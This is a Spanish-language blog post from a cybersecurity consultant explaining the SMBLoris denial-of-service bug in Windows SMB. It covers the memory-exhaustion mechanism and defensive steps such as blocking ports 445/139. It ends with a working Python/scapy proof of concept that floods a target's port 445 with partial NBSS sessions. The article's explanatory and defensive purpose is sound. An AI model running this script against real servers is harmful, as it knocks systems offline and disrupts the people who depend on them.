Como protegerte de la vulnerabilidad SMBLoris en servidores Windows

La semana pasada, durante la reciente conferencia de ciberseguridad DEF CON, la investigadora Jenna Magius presentó más detalles sobre el bug que permite realizar ataques de tipo DoS (Denegation of Service) sobre servidores y equipos Windows, cuyo nombre es SMBLoris.
Esta vulnerabilidad afecta a cualquier versión del protocolo SMB de Windows (no solamente SMB 1.0 como se ha pensado en un principio) y también afecta a cualqier sistema operativo Windows desde 2000 hasta hoy. Además, no quedan rastros útiles en los logs del sistema que permitan identificar el origen.
El ataque basado en SMBLoris se basa en ocupar todo el espacio de memoria física disponible que tenga un servidor (no importa si tiene 8 GB o 128 GB), haciendo que llegue a tener un consumo del 100% y, en ciertos casos, consumiendo toda la capacidad de la CPU y provocando un bloqueo total del equipo. Incluso podría impedir que iniciemos sesión de forma remota en el equipo, al no tener memoria disponible para abrir la sesión.
SMBLoris, la última vulnerabilidad de tipo SMB
Este nuevo problema para ordenadores basados en Windows se descubrió hace unos 2 meses, cuando los investigadores Sean Dillon y Zach Hardling estaban analizando el exploit EternalBlue. Más sobre EternalBlue y como protegerte aquí.
Este problema fue informado a Microsoft en Junio, pero la empresa consideraba que su impacto solo era «moderado» y no lo consideraba una brecha de seguridad (lo que hay que ver) y probablemente ni lleguen a solucionarlo. Este tipo de ataque guarda relación con otro llamado SlowLoris, que fue descubierto hace unos meses.
En pocas palabras, gracias a esta vulnerabilidad podríamos crashear o bloquear totalmente un servidor Windows muy potente, usando una simple Raspberry Pi o dispositivo con ancho de banda limitado.
Explotación de la vulnerabilidad
Hablando en términos técnicos, el problema reside en la acumulación de un fragmento de la memoria (son solo 4 bytes) usado como búfer y cuyo nombre es NBSS. Este se utiliza durante la primera fase de negociación de una sesión SMB, con la peculiaridad de que se alberga en la memoria física del equipo y no se puede mover al área de paginación.
Así, subsecuentes solicitudes de conexión sobre esa máquina irán provocando la acumulación de ese espacio de memoria en un período corto de tiempo, con solicitudes que no se completan. El resultado es el ya comentado: el equipo ocupa toda la memoria paulatinamente y queda inoperante.
Mientras trabajábamos sobre EternalBlue, nos dimos cuenta de que había un patrón en la forma en que se realizan asignaciones de memoria en el pool no paginado del kernel de Windows. Este pool es una memoria que debe reservarse en la RAM física y no puede ser cambiado…[]
Como protegerse de la vulnerabilidad SMB
Dado que no se espera un parche pronto (quizá nunca) para esta vulnerabilidad, es necesario bloquear el acceso desde internet a los servidores que emplean SMB. Normalmente este procolo se utiliza en los puertos TCP 445 y 139.
También podría tratarse de un ataque interno, así que conviene vigilar cualquier escaneo de red no autorizado o reconocido que incluya los puertos 139/445, ya que podría ser un signo de un cliente comprometido que está buscando servidores SMB activos.
Prueba de concepto
Debajo tenéis un POC que emplea Python para realizar el ataque:
from scapy.all import * import sys p0 = int(sys.argv[1]) conf.L3socket conf.L3socket=L3RawSocket i = IP() i.dst = "xxx.xxx.xxx.xxx" t = TCP() t.dport = 445 for p in range(p0,p0+700): print p t.sport = p t.flags = "S" r = sr1(i/t) rt = r[TCP] t.ack = rt.seq + 1 t.seq = rt.ack t.flags = "A" sbss = '\x00\x01\xff\xff' send(i/t/sbss)
Categories
deweloper View All
Trabajo como consultor de ciberseguridad y me gusta lo que hago. Aficionado a la informática / tecnología en general, me gusta compartir con la gente lo poco que sé. También soy aficionado al deporte y los videojuegos.